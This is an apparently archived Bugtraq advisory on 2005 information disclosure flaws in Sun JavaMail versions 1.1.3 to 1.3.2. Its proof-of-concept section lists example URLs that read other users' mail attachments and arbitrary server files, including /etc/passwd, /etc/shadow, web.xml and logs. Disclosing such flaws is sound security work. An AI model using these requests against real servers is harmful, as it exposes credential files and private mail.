Sun JavaMail Multiple Information Disclosure Vulnerabilities

BID:13753

Info

Sun JavaMail Multiple Information Disclosure Vulnerabilities

Bugtraq ID: 13753
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: May 24 2005 12:00AM
Updated: May 24 2005 12:00AM
Credit: Discovery of these issues is credited to Ricky Latt <[email protected]>.
Vulnerable: Sun JavaMail 1.3.2
Sun JavaMail 1.3
Sun JavaMail 1.2
Sun JavaMail 1.1.3
Not Vulnerable:

Discussion

Sun JavaMail Multiple Information Disclosure Vulnerabilities

Sun JavaMail is prone to multiple information disclosure vulnerabilities. The issues exist due to a lack of sufficient input sanitization performed on user-supplied requests. The following issues are reported:

A remote attacker may reveal the contents of email attachments of other users.

A remote attacker may download and peruse arbitrary files with the privileges of the affected service.

A remote attacker may exploit these issues to disclose potentially sensitive information that could be used to aid in further attacks.

Exploit / POC

Sun JavaMail Multiple Information Disclosure Vulnerabilities

No exploit is required, the following examples are available:

First issue:
http://example.com/mailboxesdir/[email protected]/
http://example.com/mailboxesdir/[email protected]/

Second issue:
http://example.com/Download?/var/serviceprovider/web/WEB-INF/web.xml
http://example.com/Download?/var/serviceprovider/web/login.jsp
http://example.com/Download?/var/serviceprovider/web/messagecontent.jsp
http://example.com/Download?/var/serviceprovider/web/addbook.jsp
http://example.com/Download?/var/serviceprovider/web/compose.jsp
http://example.com/Download?/var/serviceprovider/web/folder.jsp
http://example.com/Download?/etc/passwd
http://example.com/Download?/etc/shadow
http://example.com/Download?/etc/group
http://example.com/Download?/var/log/boot.log
http://example.com/Download?/var/log/maillog

Solution / Fix

Sun JavaMail Multiple Information Disclosure Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Sun JavaMail Multiple Information Disclosure Vulnerabilities

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